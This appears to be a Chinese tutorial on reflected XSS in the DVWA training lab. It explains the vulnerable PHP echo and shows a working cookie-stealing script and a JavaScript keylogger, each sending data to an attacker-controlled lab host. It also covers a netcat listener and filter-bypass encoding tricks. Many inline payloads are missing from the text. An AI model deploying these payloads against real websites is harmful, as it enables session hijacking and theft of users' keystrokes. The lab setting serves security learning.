通过DVWA学习反射型XSS漏洞

XSS,全称cross-site scripting,是用于攻击Web客户端而不是服务器端,其最大的特点是能把恶意的JS或HTML代码注入到用户浏览的网页上。而XSS漏洞的存在,主要是由于Web应用程序对用户的输入没有进行严格的过滤所导致的,当攻击者把恶意代码注入到网页时,用户只要访问该网页就会执行其中的恶意代码。关于其更具体的描述在网上也很多资料这里就不多说了直接进行总结整合。

XSS漏洞类型:

反射型(非持久):主要用于将恶意代码附加到URL地址的参数中,常用于窃取客户端cookie信息和钓鱼欺骗。

存储型(持久型):攻击者将恶意代码注入到Web服务器中并保存起来,只要客户端访问了相应的页面就会受到攻击。

DOM型:利用浏览器的DOM特性,不是向浏览器发请求而是直接通过在本地执行从而修改或窃取本地的信息。


使用场景:

直接嵌入html

click

type

去相应的网站访问不到相应的图片文件时就报错弹窗:


在DVWA中输入任何内容都会得到原来的内容,直接提交JS代码可见直接回弹框显示xss:

通过DVWA学习反射型XSS漏洞_第1张图片

至于为何能够执行代码可以用Burpsuite抓包来看一下:

GET方法将js代码的一些空格等符号进行url编码然后一同放在URL上提交给服务器。

通过DVWA学习反射型XSS漏洞_第2张图片

在服务器返回的页面中,正如测试时的一样,将原来的内容原封不动地返回,可以看到输入的js代码在返回页面的html代码中,而js代码是可以嵌入在html代码中执行的,其中嵌入的是一个alert()弹窗功能的函数,因而弹窗出来显示xss。

通过DVWA学习反射型XSS漏洞_第3张图片


查看源代码:

 ';
 echo 'Hello ' . $_GET['name'];
 echo '
'; } ?>

进入代码层面看,可以看到没有对保存输入内容的name变量进行任何的过滤检测就提交并直接显示出来。


利用:

重定向:



利用DOM特性来读取cookie值:

先用Kali监听80端口:

nc -vnlp 80

若80端口被占用,先查看是什么程序占用端口:

netstat -pantu | grep :80

然后用kill命令终止当前的程序即可:

通过DVWA学习反射型XSS漏洞_第4张图片

输入以下JS代码来获取当前用户的cookie信息:

直接在监听端看到cookie信息:

通过DVWA学习反射型XSS漏洞_第5张图片


利用DOM的body插入HTML代码,实现对页面的篡改:



为防止代码过长将其保存为一个js文件放在第三方的服务器中让客户端去访问:

a.js:

var img=new Image();
img.src="http://10.10.10.151:88/c.php?cookie="+document.cookie;

将a.js放在第三方服务器win2k3 sever(IP为10.10.10.144)的www根目录下,在Kali中监听88端口,再在Ubuntu中输入:

可在Kali中获取到Ubuntu客户端的cookie信息:

通过DVWA学习反射型XSS漏洞_第6张图片


利用实现键盘记录:

在Kali的网页根目录下保存Keylogger.js文件:

document.οnkeypress=function(evt){
	evt=evt || window.event
	key=String.fromCharCode(evt.charCode)
	if(key){
		var http=new XMLHttpRequest();
		var param=encodeURI(key);
		http.open("POST","http://10.10.10.151/keylogger.php",true);
		http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
		http.send("key="+param);
	}
}

访问一下确保可行:

通过DVWA学习反射型XSS漏洞_第7张图片

接着就是将keylogger.php文件也保存在同一个目录来是实现将键盘得到记录保存到本地的keylog.txt文件中,即将接受到的key参数的取值保存到该文件中:

keylogger.php:

接着创建一个空的keylog.txt文件,然后赋予相应的可写的权限,这里为了方便就将权限赋给所有的用户:

chmod 777 keylog.txt

接着在Kali中打开的DVWA中输入:

然后在该网页中随意输入内容,查看keylog.txt文件可看到记录了下来:




绕过XSS Filter的构造测试:

利用<>标记注入HTML或JS:



利用HTML标签属性值执行XSS:

很多的HTML标记中的属性都支持javascript:[code]伪协议的形式



空格回车TAB:

空白不会影响JS语句的在正常执行



对标签属性值进行转码:

HTML属性值本身是支持ASCII码形式的

其中t的ASCII码值为116,用“t”来表示,而冒号:的ASCII值为58。

另外,Tab符的ASCII码为 、换行符的为 、回车符的为 可以被插入到代码的任何地方中去。

还可以将、等字符插入到JavaScript的头部中。


产生自己的事件:

事件是用户或浏览器自身执行的某个动作,如Click等

onerror是img标签的一个事件,只要页面发生错误就会激活相应的事件。

除此之外还有各种事件,如:onResume、onfinish、onstop、onReverse等等。


利用CSS跨站剖析:

CSS是XSS的另一个载体,代码通常是嵌入到style标签/属性中的。

缺点是个浏览器之间不能通用。


扰乱过滤规则:

转换大小写,顺序可以随意

双引号与单引号互换

不使用引号

/**/注释符号

内嵌


字符编码:

可以对代码进行十进制编码(&#),可以在每个十进制字符后面加上分号;,也可以采用�、�;等的形式。


JS中的eval()函数,用于计算字符串并执行其中的JS代码。可以使用\连接十六进制字符串形式的脚本让eval()函数来执行,如

也可以让其执行十进制形式的脚本,但需要和String.fromCharCode()函数一起使用、实现将字符转为ASCII值,如

在利用CSS中,可以对style中的属性进行十六进制的编码来绕过。



Shellcode的调用:

简单地说,Shellcode是指对一个漏洞进行利用的代码。

动态调用远程JS:

将shellcode保存在其他服务器中,然后再用

你可能感兴趣的:(DVWA,漏洞,Kali,渗透,Web安全)